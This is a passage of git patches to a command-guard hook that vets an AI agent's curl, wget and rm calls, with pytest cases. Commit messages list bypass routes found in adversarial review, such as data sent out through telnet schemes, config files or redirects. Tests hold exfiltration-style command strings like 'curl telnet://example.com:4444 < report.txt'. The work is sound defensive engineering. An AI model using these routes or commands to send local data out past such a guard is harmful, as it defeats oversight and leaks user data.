be GET or HEAD); any other option, run-time word, or xargs input asks, and a request to a local server may also choose a method and send data - rm treats a tracked file as restorable only when its working, staged, and HEAD contents hash to one blob, and never when it is flagged assume-unchanged or skip-worktree Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 18 ++ agents/hooks/lib/command_policy.py | 8 +- agents/hooks/lib/removal_policy.py | 31 ++-- agents/hooks/lib/request_policy.py | 194 +++++++++++++++++++++ agents/hooks/rules/allowed_commands.json | 13 -- tests/agents/hooks/test_allowed_command.py | 13 ++ tests/agents/hooks/test_command_policy.py | 4 +- tests/agents/hooks/test_removal_command.py | 12 ++ 8 files changed, 263 insertions(+), 30 deletions(-) create mode 100644 agents/hooks/lib/request_policy.py diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 909c432..ba7d815 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -22,6 +22,7 @@ import hook_decision from hook_decision import Verdict import removal_policy +import request_policy import shell_syntax @@ -90,6 +91,8 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: return hook_decision.deny( f"BLOCKED: forbidden command: {reason}.\n\nCommand: {preview}\n\n{hook_decision.REVIEW_HINT}" ) + if not candidate.program_is_dynamic and candidate.arguments[0] in request_policy.PROGRAMS: + return request_objection(candidate, preview) if candidate.program_is_dynamic or candidate.arguments[0] not in command_policy.governed_programs(rules): return hook_decision.ALLOW governed = command_policy.prefix_rule(candidate.arguments, prefixes, "allow") @@ -106,6 +109,21 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: ) +def request_objection(candidate: shell_syntax.Command, preview: str) -> Verdict: + """Pass a curl or wget call whose decoded, literal arguments only fetch or stay on this machine.""" + if ( + not candidate.appends_input + and not candidate.has_dynamic_words + and request_policy.is_fetch(candidate.arguments) + ): + return hook_decision.ALLOW + program = candidate.arguments[0] + return hook_decision.ask( + f"Needs review: this {program} call may send data or reach past its read-only options.\n\nCommand: {preview}", + program, + ) + + def removal_objection(kind: str, item: shell_syntax.Command, workspace: removal_policy.Workspace) -> Verdict: """Pass rm where a temporary directory or Git accounts for its targets; else deny a tree and ask for files.""" removal = removal_policy.removal(command_policy.canonical(item), workspace) diff --git a/agents/hooks/lib/command_policy.py b/agents/hooks/lib/command_policy.py index 1177219..d4356f6 100644 --- a/agents/hooks/lib/command_policy.py +++ b/agents/hooks/lib/command_policy.py @@ -11,10 +11,6 @@ import shell_syntax -# Programs whose every option the precise rules judge after the shell has decoded it. -DECODED_PROGRAMS = frozenset({"curl", "wget"}) - - def regex_matches(pattern: str, value: str, insensitive: bool = False) -> bool: """Use the existing system regex engine instead of silently changing regex dialects.""" return any_regex_matches((pattern,), value, insensitive) @@ -106,8 +102,8 @@ def canonical(command: shell_syntax.Command) -> shell_syntax.Command: def judged_text(command: shell_syntax.Command) -> str: - """The text the precise rules read: requests are judged on their decoded options, others on their source.""" - if command.arguments[0] in DECODED_PROGRAMS or command.arguments[:2] == ("gh", "api"): + """The text the precise rules read: gh api is judged on its decoded options, others on their source.""" + if command.arguments[:2] == ("gh", "api"): return command.decoded_words_text return command.static_words_text diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index 6592705..b45e95b 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -142,22 +142,33 @@ def temporary_roots() -> tuple[Path, ...]: def is_restorable(target: Path) -> bool: - """A tracked file whose staged and working contents match HEAD comes back with git restore.""" - if target.is_dir() or not (target.is_file() or target.is_symlink()): + """A regular tracked file whose working, staged, and HEAD contents are one blob comes back with git restore. + + The contents are hashed rather than diffed, since Git skips its change check for files flagged + assume-unchanged or skip-worktree; such flagged files never count as restorable. + """ + if target.is_symlink() or not target.is_file(): + return False + entries = git(target.parent, "ls-files", "-v", "-s", "--", target.name).splitlines() + if len(entries) != 1: return False - return git(target.parent, "ls-files", "--error-unmatch", "--", target.name) and git( - target.parent, "diff", "--quiet", "HEAD", "--", target.name - ) + tag, mode, staged, _ = entries[0].split(" ", 3) + if tag != "H" or mode not in {"100644", "100755"}: + return False + committed = git(target.parent, "rev-parse", "--verify", "--quiet", f"HEAD:./{target.name}") + working = git(target.parent, "hash-object", "--", target.name) + return staged == committed == working -def git(directory: Path, *arguments: str) -> bool: +def git(directory: Path, *arguments: str) -> str: + """Run a Git query and return its trimmed output, or an empty string when it fails.""" try: result = subprocess.run( ["git", "--literal-pathspecs", "-C", str(directory), *arguments], - stdout=subprocess.DEVNULL, - stderr=subprocess.DEVNULL, + capture_output=True, + text=True, check=False, ) except OSError: - return False - return result.returncode == 0 + return "" + return result.stdout.strip() if result.returncode == 0 else "" diff --git a/agents/hooks/lib/request_policy.py b/agents/hooks/lib/request_policy.py new file mode 100644 index 0000000..0386bf9 --- /dev/null +++ b/agents/hooks/lib/request_policy.py @@ -0,0 +1,194 @@ +"""Judge curl and wget on their decoded arguments: fetches pass, anything that may send data asks.""" + +from collections.abc import Callable, Iterator +from dataclasses import dataclass +import re + + +LOCAL_URL = re.compile(r"https?://(localhost|127\.0\.0\.1)(:[0-9]+)?([/?#].*)?") +READ_METHODS = frozenset({"GET", "HEAD"}) +ValueRule = Callable[[str], bool] + + +def any_value(_: str) -> bool: + return True + + +def header_value(value: str) -> bool: + """A header given inline; curl reads one starting with @ from a file or standard input.""" + return not value.startswith("@") + + +def read_method(value: str) -> bool: + return value in READ_METHODS + + +@dataclass(frozen=True, slots=True) +class Options: + """One program's read-only options: flags without a value, and options whose value a rule judges. + + `attached_long` allows `--name=value`, which wget accepts and curl does not. + """ + + flags: frozenset[str] + valued: dict[str, ValueRule] + attached_long: bool + + +CURL = Options( + flags=frozenset( + { + *(f"-{letter}" for letter in "#0146IJLNORSZfgiklsv"), + "--compressed", + "--create-dirs", + "--fail", + "--fail-with-body", + "--get", + "--globoff", + "--head", + "--http1.1", + "--http2", + "--include", + "--insecure", + "--ipv4", + "--ipv6", + "--location", + "--no-buffer", + "--no-progress-meter", + "--progress-bar", + "--remote-header-name", + "--remote-name", + "--remote-name-all", + "--retry-all-errors", + "--retry-connrefused", + "--show-error", + "--silent", + "--verbose", + } + ), + valued={ + **dict.fromkeys(("-H", "--header"), header_value), + **dict.fromkeys(("-X", "--request"), read_method), + **dict.fromkeys( + ( + "-A", + "-D", + "-e", + "-m", + "-o", + "-r", + "-w", + "-z", + "--connect-timeout", + "--dump-header", + "--limit-rate", + "--max-filesize", + "--max-time", + "--output", + "--output-dir", + "--range", + "--referer", + "--retry", + "--retry-delay", + "--retry-max-time", + "--user-agent", + "--write-out", + ), + any_value, + ), + }, + attached_long=False, +) +WGET = Options( + flags=frozenset( + { + *(f"-{letter}" for letter in "NSckqv"), + "-nc", + "-nd", + "-nH", + "-nv", + "--continue", + "--no-check-certificate", + "--no-verbose", + "--quiet", + "--server-response", + "--spider", + "--timestamping", + } + ), + valued={ + **dict.fromkeys(("--header",), header_value), + **dict.fromkeys( + ( + "-O", + "-P", + "-T", + "-U", + "-t", + "--directory-prefix", + "--output-document", + "--timeout", + "--tries", + "--user-agent", + ), + any_value, + ), + }, + attached_long=True, +) +PROGRAMS: dict[str, Options] = {"curl": CURL, "wget": WGET} +# A request to a local server stays on this machine, so it may also choose any method and send data. +LOCAL_VALUED: dict[str, ValueRule] = dict.fromkeys( + ("-X", "--request", "-d", "--data", "--data-raw", "--data-binary", "--json"), any_value +) + + +def is_fetch(arguments: tuple[str, ...]) -> bool: + """Whether a literal curl or wget call only fetches, or talks only to a local server.""" + options = PROGRAMS[arguments[0]] + if operands(arguments[1:], options) is not None: + return True + local = Options(options.flags, options.valued | LOCAL_VALUED, options.attached_long) + urls = operands(arguments[1:], local) + return bool(urls) and all(LOCAL_URL.fullmatch(url) for url in urls) + + +def operands(arguments: tuple[str, ...], options: Options) -> tuple[str, ...] | None: + """The URLs when every option is listed with an acceptable value, else None.""" + urls: list[str] = [] + words = iter(arguments) + for word in words: + if word == "--": + urls.extend(words) + elif word == "-" or not word.startswith("-"): + urls.append(word) + elif not accepts(word, words, options): + return None + return tuple(urls) + + +def accepts(word: str, words: Iterator[str], options: Options) -> bool: + """Consume one option, and its value if it takes one, reporting whether it is allowed.""" + if word in options.flags: + return True + if word.startswith("--"): + name, separator, value = word.partition("=") + if separator: + return options.attached_long and name in options.valued and options.valued[name](value) + value = next(words, None) + return word in options.valued and value is not None and options.valued[word](value) + return accepts_cluster(word, words, options) + + +def accepts_cluster(word: str, words: Iterator[str], options: Options) -> bool: + """Read combined short options such as -sSo, where the last letter may take the next word as its value.""" + for index, letter in enumerate(word[1:], 1): + option = f"-{letter}" + if option in options.flags: + continue + rule = options.valued.get(option) + if rule is None: + return False + value = word[index + 1 :] or next(words, None) + return value is not None and rule(value) + return True diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 42cb3c1..a604bf3 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -47,19 +47,6 @@ ], "justification": "Allow GitHub reads and the reviewable writes the delivery workflow uses; other forms of an approved gh prefix change GitHub in ways the sandbox cannot undo." }, - { - "programs": [ - "curl", - "wget" - ], - "patterns": [ - "^curl( -[A-Za-z]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$", - "^wget( -[A-Za-z]+)*( -O [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$", - "^curl( -[#0-9IJLNORSZfgiklsv]+| --(silent|show-error|fail|fail-with-body|location|include|head|remote-name|remote-name-all|remote-header-name|create-dirs|compressed|insecure|http1\\.1|http2|progress-bar|no-progress-meter|verbose|get|globoff|no-buffer|ipv4|ipv6|retry-all-errors|retry-connrefused)| (-[#0-9IJLNORSZfgiklsv]*H|--header) ('[^'@][^']*'|\"[^\"@]([^\"\\\\]|\\\\.)*\"|[^ '\"_@-][^ '\"]*|_[^ '\"]+)| (-[#0-9IJLNORSZfgiklsv]*[ADemorwz]|--(output|output-dir|write-out|max-time|connect-timeout|retry|retry-delay|retry-max-time|user-agent|referer|range|dump-header|max-filesize|limit-rate)) (('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+)|-)| (-X|--request) (GET|HEAD)| ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+))*$", - "^wget( -[qSNcvk]+| -n[cdvH]| --(quiet|spider|server-response|no-verbose|no-check-certificate|continue|timestamping)| (-[OPTtU]|--(output-document|directory-prefix|user-agent|header|timeout|tries)) (('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+)|-)| ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+))*$" - ], - "justification": "Allow any request to local servers and only fetches elsewhere; options that send data, pick another method, or read options from a file ask, and the sandbox limits where requests go." - }, { "programs": [ "herdr" diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 5bf8bff..ceddc82 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -81,6 +81,11 @@ id="remote status probes", ), pytest.param("wget -q -O - https://example.com/install.sh", id="remote fetches with wget"), + pytest.param( + "wget -qO- --timeout=10 --header 'Accept: x' https://example.com/a", id="wget clusters and values" + ), + pytest.param("curl -sSo out.html -H 'Accept: text/html' https://example.com/", id="curl clusters with values"), + pytest.param("curl -X POST -d '{\"a\": 1}' http://127.0.0.1:8080/api", id="local server writes"), pytest.param( 'gh api -H "Accept: application/vnd.github.raw" "repos/o/r/contents/a.nix?ref=v1" | sed -n 1,20p', id="GitHub reads with a header before the endpoint", @@ -186,6 +191,14 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi pytest.param("curl --data-urlencode q=x https://example.com/", [], id="options outside the read-only list"), pytest.param("curl --max-time=5 https://example.com/", [], id="attached long option values"), pytest.param("gh api graphql -f query='mutation { x }'", [], id="GitHub GraphQL mutations"), + pytest.param("curl -d{} https://example.com/", [], id="send options that need quoting"), + pytest.param("curl -sd'a b' https://example.com/", [], id="send options with spaces in a cluster"), + pytest.param("curl --data 'a b' https://example.com/", [], id="long send options with spaces"), + pytest.param("wget '--post-data=a b' https://example.com/", [], id="wget send options that need quoting"), + pytest.param("wget --post-data '{}' https://example.com/", [], id="wget send options with a separate value"), + pytest.param("wget -e use_proxy=on https://example.com/", [], id="wget commands"), + pytest.param("curl -X 'GET -d x' https://example.com/", [], id="methods with spaces"), + pytest.param("curl -o", [], id="an option without its value"), pytest.param('gh api repos/o/r/issues/1 --jq .x -"X" DELETE', [], id="GitHub options decoded from quotes"), pytest.param("f(){ curl -d @a https://example.com/; }", [], id="inside a function that is never called"), pytest.param("herdr worktree create --cwd /repo --trust-repository", [], id="Herdr repository trust"), diff --git a/tests/agents/hooks/test_command_policy.py b/tests/agents/hooks/test_command_policy.py index 425207c..abf992a 100644 --- a/tests/agents/hooks/test_command_policy.py +++ b/tests/agents/hooks/test_command_policy.py @@ -75,7 +75,9 @@ def test_empty_pattern_lists_never_match() -> None: def test_only_programs_that_reach_past_the_sandbox_are_governed() -> None: rules = policy.load_rules(ALLOWED_RULES) - assert policy.governed_programs(rules) == {"gh", "curl", "wget", "herdr"} + requests = set(guard.request_policy.PROGRAMS) + assert policy.governed_programs(rules) | requests == {"gh", "curl", "wget", "herdr"} + assert policy.governed_programs(rules).isdisjoint(requests) def test_an_invalid_program_list_is_rejected(tmp_path: Path) -> None: diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index 62aa34a..ae1c85a 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -132,3 +132,15 @@ def test_a_symlink_out_of_the_temporary_directory_does_not_count_as_temporary( def test_untracked_names_that_git_would_read_as_patterns_ask(project: Path, git_project: Path, name: str) -> None: (git_project / name).write_text("untracked") assert decide("allowed", f"rm '{name}'") == "ask" + + +@pytest.mark.parametrize("flag", ["--assume-unchanged", "--skip-worktree"]) +def test_tracked_files_whose_changes_git_skips_ask(project: Path, git_project: Path, flag: str) -> None: + git(git_project, "update-index", flag, "tracked.txt") + (git_project / "tracked.txt").write_text("uncommitted") + assert decide("allowed", "rm tracked.txt") == "ask" + + +def test_a_flagged_file_without_changes_still_asks(project: Path, git_project: Path) -> None: + git(git_project, "update-index", "--assume-unchanged", "tracked.txt") + assert decide("allowed", "rm tracked.txt") == "ask" From 2b81edd0fc9a67c01822ff247e6105864157d447 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:43:27 +0900 Subject: [PATCH 05/25] fix(agents): find spreading expansions in the syntax tree The check for "$@", $1, and ${a[@]} reaching a governed program searched each run-time word's source text, so expansion text inside a command substitution, such as a PR body that mentions ${a[@]}, asked. Read the parameter expansions from the parser instead, outside substitutions. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/lib/shell_syntax.py | 33 ++++++++++++++++++---- tests/agents/hooks/test_allowed_command.py | 4 +++ 2 files changed, 31 insertions(+), 6 deletions(-) diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 94897ed..aa62d9d 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -61,8 +61,10 @@ SHELLS = frozenset({"bash", "sh", "zsh"}) COMMAND_LOOKUP = frozenset({"-v", "-V"}) ASSIGNMENT = re.compile(r"[A-Za-z_][A-Za-z0-9_]*=") -# Positional parameters and array elements, which expand to any number of words, options included. -SPREADING_EXPANSION = re.compile(r"\$\{?([@*]|[0-9])|\[[@*]\]") +# Expansions that a function call fills with its caller's words, options included: all positional +# parameters, any single one, and every element of an array. +SPREADING_PARAMETERS = frozenset({"@", "*"}) +SPREADING_INDEXES = frozenset({"@", "*"}) # Process wrappers run their trailing arguments as a command. Each entry lists the flags without an # operand and the options whose operand is the next token; unknown options are refused, not skipped. WRAPPERS: dict[str, tuple[frozenset[str], frozenset[str]]] = { @@ -97,7 +99,8 @@ class Command: `dynamic` flags arguments whose value is only known at run time (a glob or a parameter other than the home directory); such arguments carry their source text. `writes` lists the files that output redirections would create or overwrite. `appends_input` marks a command that xargs - runs with further arguments read from its input. + runs with further arguments read from its input. `spreading` flags arguments holding a positional + parameter or array expansion outside any substitution. """ raw: str @@ -109,12 +112,15 @@ class Command: dynamic: tuple[bool, ...] = () writes: tuple[str, ...] = () appends_input: bool = False + spreading: tuple[bool, ...] = () def __post_init__(self) -> None: if not self.words: object.__setattr__(self, "words", self.arguments) if not self.dynamic: object.__setattr__(self, "dynamic", (False,) * len(self.arguments)) + if not self.spreading: + object.__setattr__(self, "spreading", (False,) * len(self.arguments)) @property def words_text(self) -> str: @@ -158,10 +164,11 @@ def hides_options(self) -> bool: A quoted or escaped word still becomes an option once the shell removes the quotes, and a positional or array expansion can become any number of words. """ - return any( - (argument.startswith("-") and word != argument) or (dynamic and SPREADING_EXPANSION.search(word)) - for word, argument, dynamic in zip(self.words, self.arguments, self.dynamic, strict=True) + quoted_option = any( + argument.startswith("-") and word != argument + for word, argument in zip(self.words, self.arguments, strict=True) ) + return quoted_option or any(self.spreading) @property def has_dynamic_words(self) -> bool: @@ -183,6 +190,7 @@ def rebased(self, index: int, head: tuple[str, ...] = (), depth: int | None = No wrapper_depth=wrapper_depth, words=words, dynamic=((False,) * len(head)) + self.dynamic[index:], + spreading=((False,) * len(head)) + self.spreading[index:], ) @@ -275,6 +283,7 @@ def literal_command(node: dict, owner: dict, data: bytes) -> Command: words=tuple(source_text(word, data) for word in node["Args"]), trailer=" ".join(source_text(redirect, data) for redirect in redirects), dynamic=tuple(flag for _, flag in decoded), + spreading=tuple(spreads(word) for word in node["Args"]), writes=tuple( target for redirect, target in zip(redirects, targets, strict=True) if writes_file(redirect, target, data) ), @@ -323,6 +332,18 @@ def literal_word(word: dict, source: bytes) -> tuple[str, bool]: return "".join(literal_part(index, part, source) for index, part in enumerate(parts)), False +def spreads(word: dict) -> bool: + """Whether a word expands positional parameters or array elements outside any substitution.""" + for part in word_nodes(word): + if part.get("Type") != "ParamExp": + continue + name = part.get("Param", {}).get("Value", "") + index = "".join(inner.get("Value", "") for inner in (part.get("Index") or {}).get("Parts", [])) + if name in SPREADING_PARAMETERS or name.isdigit() or index in SPREADING_INDEXES: + return True + return False + + def word_nodes(value: object) -> Iterator[dict]: """Walk a word's parts without entering substitutions, whose commands parse judges separately.""" if isinstance(value, dict): diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index ceddc82..5ba6148 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -119,6 +119,10 @@ id="Herdr prompts", ), pytest.param('herdr agent prompt lane-a "$(cat $D/brief.md)"', id="Herdr prompts built at run time"), + pytest.param( + "gh pr edit 242 --body \"$(printf '%s' 'pass ${a[@]} or \"$@\" or $1 through')\"", + id="expansion text inside a substituted body", + ), pytest.param("", id="empty command"), ], ) From 14cd6101d721192770228cc2c61cc0f63a6b583b Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:54:55 +0900 Subject: [PATCH 06/25] fix(agents): ask for every remote curl and wget request A fourth adversarial review of #242 showed that a remote request can send local data however its options read: through another scheme such as telnet with input, or through options a default .curlrc or .wgetrc adds. The guard cannot see either, so: - remote curl and wget ask again, with a reason that points to the web-fetch tool, gh api, and nix store prefetch-file; requests to an HTTP server on this machine still pass, judged on decoded arguments - rm hashes the working file's raw bytes with --no-filters, so a clean filter cannot hide uncommitted content behind the HEAD blob Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 10 ++--- agents/hooks/lib/removal_policy.py | 7 ++-- agents/hooks/lib/request_policy.py | 18 +++++--- tests/agents/hooks/test_allowed_command.py | 49 ++++++++++++++++------ tests/agents/hooks/test_removal_command.py | 7 ++++ 5 files changed, 62 insertions(+), 29 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index ba7d815..ad6c61a 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -110,18 +110,14 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: def request_objection(candidate: shell_syntax.Command, preview: str) -> Verdict: - """Pass a curl or wget call whose decoded, literal arguments only fetch or stay on this machine.""" + """Pass a curl or wget call whose decoded, literal arguments stay on this machine; ask for any other.""" if ( not candidate.appends_input and not candidate.has_dynamic_words - and request_policy.is_fetch(candidate.arguments) + and request_policy.is_local(candidate.arguments) ): return hook_decision.ALLOW - program = candidate.arguments[0] - return hook_decision.ask( - f"Needs review: this {program} call may send data or reach past its read-only options.\n\nCommand: {preview}", - program, - ) + return hook_decision.ask(f"{request_policy.REMOTE_REASON}\n\nCommand: {preview}", candidate.arguments[0]) def removal_objection(kind: str, item: shell_syntax.Command, workspace: removal_policy.Workspace) -> Verdict: diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index b45e95b..c8196a1 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -144,8 +144,9 @@ def temporary_roots() -> tuple[Path, ...]: def is_restorable(target: Path) -> bool: """A regular tracked file whose working, staged, and HEAD contents are one blob comes back with git restore. - The contents are hashed rather than diffed, since Git skips its change check for files flagged - assume-unchanged or skip-worktree; such flagged files never count as restorable. + The raw bytes are hashed rather than diffed: Git skips its change check for files flagged + assume-unchanged or skip-worktree, which never count as restorable, and a clean filter could + drop uncommitted content before hashing. """ if target.is_symlink() or not target.is_file(): return False @@ -156,7 +157,7 @@ def is_restorable(target: Path) -> bool: if tag != "H" or mode not in {"100644", "100755"}: return False committed = git(target.parent, "rev-parse", "--verify", "--quiet", f"HEAD:./{target.name}") - working = git(target.parent, "hash-object", "--", target.name) + working = git(target.parent, "hash-object", "--no-filters", "--", target.name) return staged == committed == working diff --git a/agents/hooks/lib/request_policy.py b/agents/hooks/lib/request_policy.py index 0386bf9..6bb656b 100644 --- a/agents/hooks/lib/request_policy.py +++ b/agents/hooks/lib/request_policy.py @@ -1,10 +1,18 @@ -"""Judge curl and wget on their decoded arguments: fetches pass, anything that may send data asks.""" +"""Judge curl and wget on their decoded arguments: only requests that stay on this machine pass. + +A remote request can send local data however its options read, through another scheme, a default +configuration file, or input the guard cannot see, so every remote request asks. +""" from collections.abc import Callable, Iterator from dataclasses import dataclass import re +REMOTE_REASON = ( + "Needs review: remote curl/wget can send local data. Read web pages with the web-fetch tool, " + "or use gh api / nix store prefetch-file for exact values and files." +) LOCAL_URL = re.compile(r"https?://(localhost|127\.0\.0\.1)(:[0-9]+)?([/?#].*)?") READ_METHODS = frozenset({"GET", "HEAD"}) ValueRule = Callable[[str], bool] @@ -137,17 +145,15 @@ class Options: attached_long=True, ) PROGRAMS: dict[str, Options] = {"curl": CURL, "wget": WGET} -# A request to a local server stays on this machine, so it may also choose any method and send data. +# A request to a local server stays on this machine, so it may also choose a method and send data. LOCAL_VALUED: dict[str, ValueRule] = dict.fromkeys( ("-X", "--request", "-d", "--data", "--data-raw", "--data-binary", "--json"), any_value ) -def is_fetch(arguments: tuple[str, ...]) -> bool: - """Whether a literal curl or wget call only fetches, or talks only to a local server.""" +def is_local(arguments: tuple[str, ...]) -> bool: + """Whether a literal curl or wget call talks only to an HTTP server on this machine, with listed options.""" options = PROGRAMS[arguments[0]] - if operands(arguments[1:], options) is not None: - return True local = Options(options.flags, options.valued | LOCAL_VALUED, options.attached_long) urls = operands(arguments[1:], local) return bool(urls) and all(LOCAL_URL.fullmatch(url) for url in urls) diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 5ba6148..a5a5991 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -72,19 +72,7 @@ pytest.param("gh stack submit --auto", id="non-interactive stack commands"), pytest.param("gh pr list 2>&1 | head -5", id="GitHub forms in pipelines"), pytest.param("curl -fsS http://localhost:3000/health", id="local server requests"), - pytest.param("curl -s https://pypi.org/pypi/mutmut/json", id="remote fetches"), - pytest.param( - "curl -fsSL -o pkg.tgz -H 'User-Agent: x' https://registry.npmjs.org/a/-/a-1.tgz", id="remote downloads" - ), - pytest.param( - 'curl -s -o /dev/null -w "%{http_code}\\n" -X HEAD https://cdn.example.com/v1/a.tar.gz', - id="remote status probes", - ), - pytest.param("wget -q -O - https://example.com/install.sh", id="remote fetches with wget"), - pytest.param( - "wget -qO- --timeout=10 --header 'Accept: x' https://example.com/a", id="wget clusters and values" - ), - pytest.param("curl -sSo out.html -H 'Accept: text/html' https://example.com/", id="curl clusters with values"), + pytest.param("curl -s -o out.json -H 'Accept: x' http://127.0.0.1:8080/api", id="local server downloads"), pytest.param("curl -X POST -d '{\"a\": 1}' http://127.0.0.1:8080/api", id="local server writes"), pytest.param( 'gh api -H "Accept: application/vnd.github.raw" "repos/o/r/contents/a.nix?ref=v1" | sed -n 1,20p', @@ -224,3 +212,38 @@ def test_commit_messages_inline_through_a_quoted_heredoc_pass() -> None: command = "git commit -m \"$(cat <<'EOF'\nfix: don't run `rm -rf $HOME`\n\nBody.\nEOF\n)\"" for kind in ("allowed", "forbidden"): assert guard.decide(kind, {"tool_input": {"command": command}}).decision == "allow" + + +REMOTE_REVIEW = ( + "Needs review: remote curl/wget can send local data. Read web pages with the web-fetch tool, " + "or use gh api / nix store prefetch-file for exact values and files." +) + + +@pytest.mark.parametrize( + "command", + [ + pytest.param("curl -s https://pypi.org/pypi/mutmut/json", id="remote fetches"), + pytest.param( + "curl -fsSL -o pkg.tgz -H 'User-Agent: x' https://registry.npmjs.org/a/-/a-1.tgz", id="remote downloads" + ), + pytest.param( + 'curl -s -o /dev/null -w "%{http_code}\\n" -X HEAD https://cdn.example.com/v1/a.tar.gz', + id="remote status probes", + ), + pytest.param("wget -q -O - https://example.com/install.sh", id="remote fetches with wget"), + pytest.param( + "wget -qO- --timeout=10 --header 'Accept: x' https://example.com/a", id="wget clusters and values" + ), + pytest.param("curl -sSo out.html -H 'Accept: text/html' https://example.com/", id="curl clusters with values"), + pytest.param("curl telnet://example.com:4444 < report.txt", id="other schemes that send input"), + pytest.param("curl telnet://localhost:23 < report.txt", id="other schemes on this machine"), + pytest.param("curl gopher://127.0.0.1:70/_x", id="gopher on this machine"), + pytest.param("curl -K cfg http://localhost:3000/", id="local requests with options from a file"), + ], +) +def test_remote_requests_ask_and_point_to_safer_tools(capsys: pytest.CaptureFixture[str], command: str) -> None: + verdict = guard.decide("allowed", {"tool_input": {"command": command}}) + assert verdict.decision == "ask" + assert REMOTE_REVIEW in verdict.reason + assert capsys.readouterr() == ("", "") diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index ae1c85a..d8387ef 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -144,3 +144,10 @@ def test_tracked_files_whose_changes_git_skips_ask(project: Path, git_project: P def test_a_flagged_file_without_changes_still_asks(project: Path, git_project: Path) -> None: git(git_project, "update-index", "--assume-unchanged", "tracked.txt") assert decide("allowed", "rm tracked.txt") == "ask" + + +def test_a_clean_filter_cannot_hide_uncommitted_content(project: Path, git_project: Path) -> None: + git(git_project, "config", "filter.keep-head.clean", "head -c 6") + (git_project / ".git/info/attributes").write_text("tracked.txt filter=keep-head\n") + (git_project / "tracked.txt").write_text("before and uncommitted notes") + assert decide("allowed", "rm tracked.txt") == "ask" From d6f0c0f418a96895d8903497c7eb23337850c559 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 15:23:06 +0900 Subject: [PATCH 07/25] fix(agents): give wget its own options and see compound redirects A fifth adversarial review of #242 found two more holes: - curl's local send options were shared with wget, whose -d is a flag without a value, so -d swallowed --post-file and a remote URL as its values; each program now has one option table of its own, and wget sends nothing - a write redirect on a block, subshell, or loop, such as { ...; } >> f, was not seen by rm, so a tracked file appended to in the same command counted as unchanged; each command inside a compound statement now carries the files its redirections write Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/lib/request_policy.py | 20 +++------ agents/hooks/lib/shell_syntax.py | 50 ++++++++++++++-------- tests/agents/hooks/test_allowed_command.py | 5 +++ tests/agents/hooks/test_removal_command.py | 6 +++ 4 files changed, 49 insertions(+), 32 deletions(-) diff --git a/agents/hooks/lib/request_policy.py b/agents/hooks/lib/request_policy.py index 6bb656b..eb1e7d3 100644 --- a/agents/hooks/lib/request_policy.py +++ b/agents/hooks/lib/request_policy.py @@ -14,7 +14,6 @@ "or use gh api / nix store prefetch-file for exact values and files." ) LOCAL_URL = re.compile(r"https?://(localhost|127\.0\.0\.1)(:[0-9]+)?([/?#].*)?") -READ_METHODS = frozenset({"GET", "HEAD"}) ValueRule = Callable[[str], bool] @@ -27,13 +26,11 @@ def header_value(value: str) -> bool: return not value.startswith("@") -def read_method(value: str) -> bool: - return value in READ_METHODS - - @dataclass(frozen=True, slots=True) class Options: - """One program's read-only options: flags without a value, and options whose value a rule judges. + """The options one program may use toward this machine: flags, and options whose value a rule 